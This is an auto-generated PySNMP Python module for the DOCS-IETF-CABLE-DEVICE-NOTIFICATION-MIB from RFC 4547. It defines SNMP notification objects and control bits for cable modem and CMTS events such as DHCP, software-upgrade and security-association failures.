# PySNMP MIB module DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB (http://pysnmp.sf.net)
# ASN.1 source http://mibs.snmplabs.com:80/asn1/DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB
# Produced by pysmi-0.0.7 at Sun Feb 14 00:09:52 2016
# On host bldfarm platform Linux version 4.1.13-100.fc21.x86_64 by user goose
# Using Python version 3.5.0 (default, Jan 5 2016, 17:11:52)
#
( ObjectIdentifier, Integer, OctetString, ) = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString")
( NamedValues, ) = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
( ValueRangeConstraint, SingleValueConstraint, ConstraintsIntersection, ConstraintsUnion, ValueSizeConstraint, ) = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "SingleValueConstraint", "ConstraintsIntersection", "ConstraintsUnion", "ValueSizeConstraint")
( docsDevEvLevel, docsDevServerTime, docsDevSwServer, docsDevEvText, docsDevSwFilename, docsDevServerDhcp, docsDevEvId, ) = mibBuilder.importSymbols("DOCS-CABLE-DEVICE-MIB", "docsDevEvLevel", "docsDevServerTime", "docsDevSwServer", "docsDevEvText", "docsDevSwFilename", "docsDevServerDhcp", "docsDevEvId")
( docsIfCmStatusModulationType, docsIfCmStatusDocsisOperMode, docsIfCmtsCmStatusMacAddress, docsIfCmtsCmStatusDocsisRegMode, docsIfDocsisBaseCapability, docsIfCmCmtsAddress, docsIfCmtsCmStatusModulationType, ) = mibBuilder.importSymbols("DOCS-IF-MIB", "docsIfCmStatusModulationType", "docsIfCmStatusDocsisOperMode", "docsIfCmtsCmStatusMacAddress", "docsIfCmtsCmStatusDocsisRegMode", "docsIfDocsisBaseCapability", "docsIfCmCmtsAddress", "docsIfCmtsCmStatusModulationType")
( ifPhysAddress, ) = mibBuilder.importSymbols("IF-MIB", "ifPhysAddress")
( ObjectGroup, ModuleCompliance, NotificationGroup, ) = mibBuilder.importSymbols("SNMPv2-CONF", "ObjectGroup", "ModuleCompliance", "NotificationGroup")
( ModuleIdentity, MibIdentifier, Integer32, Counter64, Gauge32, IpAddress, Bits, MibScalar, MibTable, MibTableRow, MibTableColumn, NotificationType, ObjectIdentity, iso, TimeTicks, mib_2, Unsigned32, Counter32, ) = mibBuilder.importSymbols("SNMPv2-SMI", "ModuleIdentity", "MibIdentifier", "Integer32", "Counter64", "Gauge32", "IpAddress", "Bits", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "NotificationType", "ObjectIdentity", "iso", "TimeTicks", "mib-2", "Unsigned32", "Counter32")
( DisplayString, TextualConvention, ) = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention")
docsDevNotifMIB = ModuleIdentity((1, 3, 6, 1, 2, 1, 132)).setRevisions(("2006-05-24 00:00",))
if mibBuilder.loadTexts: docsDevNotifMIB.setLastUpdated('200605240000Z')
if mibBuilder.loadTexts: docsDevNotifMIB.setOrganization('IETF IP over Cable Data Network\n Working Group')
if mibBuilder.loadTexts: docsDevNotifMIB.setContactInfo(' Azlina Ahmad\n Postal: Cisco Systems, Inc.\n 170 West Tasman Drive\n San Jose, CA 95134, U.S.A.\n Phone: 408 853 7927\n E-mail: azlina@cisco.com\n\n Greg Nakanishi\n Postal: Motorola\n 6450 Sequence Drive\n San Diego, CA 92121, U.S.A.\n Phone: 858 404 2366\n E-mail: gnakanishi@motorola.com\n\n IETF IPCDN Working Group\n General Discussion: ipcdn@ietf.org\n\n\n\n Subscribe: http://www.ietf.org/mailman/listinfo/ipcdn\n Archive: ftp://ftp.ietf.org/ietf-mail-archive/ipcdn\n Co-chairs: Richard Woundy,\n richard_woundy@cable.comcast.com\n Jean-Francois Mule, jf.mule@cablelabs.com')
if mibBuilder.loadTexts: docsDevNotifMIB.setDescription('The Event Notification MIB is an extension of the\n CABLE DEVICE MIB. It defines various notification\n objects for both cable modem and cable modem termination\n systems. Two groups of SNMP notification objects are\n defined. One group is for notifying cable modem events,\n and one group is for notifying cable modem termination\n system events.\n\n DOCSIS defines numerous events, and each event is\n assigned to a functional category. This MIB defines\n a notification object for each functional category.\n The varbinding list of each notification includes\n information about the event that occurred on the\n device.\n\n Copyright (C) The Internet Society (2006). This version\n of this MIB module is part of RFC 4547; see the RFC\n itself for full legal notices.')
docsDevNotifControl = MibIdentifier((1, 3, 6, 1, 2, 1, 132, 1))
docsDevCmNotifs = MibIdentifier((1, 3, 6, 1, 2, 1, 132, 2, 0))
docsDevCmtsNotifs = MibIdentifier((1, 3, 6, 1, 2, 1, 132, 3, 0))
docsDevCmNotifControl = MibScalar((1, 3, 6, 1, 2, 1, 132, 1, 1), Bits().clone(namedValues=NamedValues(("cmInitTLVUnknownNotif", 0), ("cmDynServReqFailNotif", 1), ("cmDynServRspFailNotif", 2), ("cmDynServAckFailNotif", 3), ("cmBpiInitNotif", 4), ("cmBPKMNotif", 5), ("cmDynamicSANotif", 6), ("cmDHCPFailNotif", 7), ("cmSwUpgradeInitNotif", 8), ("cmSwUpgradeFailNotif", 9), ("cmSwUpgradeSuccessNotif", 10), ("cmSwUpgradeCVCNotif", 11), ("cmTODFailNotif", 12), ("cmDCCReqFailNotif", 13), ("cmDCCRspFailNotif", 14), ("cmDCCAckFailNotif", 15),))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: docsDevCmNotifControl.setDescription('The object is used to enable specific CM notifications.\n For example, if the first bit is set, then\n docsDevCmInitTLVUnknownNotif is enabled. If it is not set,\n the notification is disabled. Note that notifications are\n also under the control of the MIB modules defined in\n RFC3413.\n\n If the device is rebooted,the value of this object SHOULD\n revert to the default value.\n ')
docsDevCmtsNotifControl = MibScalar((1, 3, 6, 1, 2, 1, 132, 1, 2), Bits().clone(namedValues=NamedValues(("cmtsInitRegReqFailNotif", 0), ("cmtsInitRegRspFailNotif", 1), ("cmtsInitRegAckFailNotif", 2), ("cmtsDynServReqFailNotif", 3), ("cmtsDynServRspFailNotif", 4), ("cmtsDynServAckFailNotif", 5), ("cmtsBpiInitNotif", 6), ("cmtsBPKMNotif", 7), ("cmtsDynamicSANotif", 8), ("cmtsDCCReqFailNotif", 9), ("cmtsDCCRspFailNotif", 10), ("cmtsDCCAckFailNotif", 11),))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: docsDevCmtsNotifControl.setDescription('The object is used to enable specific CMTS notifications.\n For example, if the first bit is set, then\n docsDevCmtsInitRegRspFailNotif is enabled. If it is not set,\n the notification is disabled. Note that notifications are\n also under the control of the MIB modules defined in\n RFC3413.\n\n\n\n\n If the device is rebooted,the value of this object SHOULD\n revert to the default value.\n ')
docsDevCmInitTLVUnknownNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 1)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmInitTLVUnknownNotif.setDescription('Notification to indicate that an unknown TLV was\n encountered during the TLV parsing process.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmDynServReqFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 2)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmDynServReqFailNotif.setDescription('A notification to report the failure of a dynamic service\n request during the dynamic services process.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected to (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmDynServRspFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 3)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmDynServRspFailNotif.setDescription(' A notification to report the failure of a dynamic service\n response during the dynamic services process.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmDynServAckFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 4)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmDynServAckFailNotif.setDescription('A notification to report the failure of a dynamic service\n acknowledgement during the dynamic services process.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmBpiInitNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 5)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmBpiInitNotif.setDescription('A notification to report the failure of a BPI\n initialization attempt during the registration process.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n\n\n\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmBPKMNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 6)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmBPKMNotif.setDescription('A notification to report the failure of a Baseline\n Privacy Key Management (BPKM) operation.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n\n\n\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmDynamicSANotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 7)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmDynamicSANotif.setDescription('A notification to report the failure of a dynamic security\n association operation.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n\n\n\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmDHCPFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 8)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevServerDhcp"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmDHCPFailNotif.setDescription('A notification to report the failure of a DHCP operation.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsDevServerDhcp: the IP address of the DHCP server.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmSwUpgradeInitNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 9)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevSwFilename"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevSwServer"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmSwUpgradeInitNotif.setDescription('A notification to indicate that a software upgrade\n has been initiated on the device.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmSwUpgradeFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 10)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevSwFilename"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevSwServer"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmSwUpgradeFailNotif.setDescription('A notification to report the failure of a software upgrade\n attempt.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsDevSwFilename: the software image file name\n - docsDevSwServer: the IP address of the server that\n the image is retrieved from.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmSwUpgradeSuccessNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 11)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevSwFilename"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevSwServer"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmSwUpgradeSuccessNotif.setDescription('A notification to report the software upgrade success\n status.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsDevSwFilename: the software image file name\n - docsDevSwServer: the IP address of the server that\n the image is retrieved from.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmSwUpgradeCVCFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 12)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmSwUpgradeCVCFailNotif.setDescription('A notification to report that the verification of the\n code file has failed during a secure software upgrade\n attempt.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmTODFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 13)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevServerTime"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
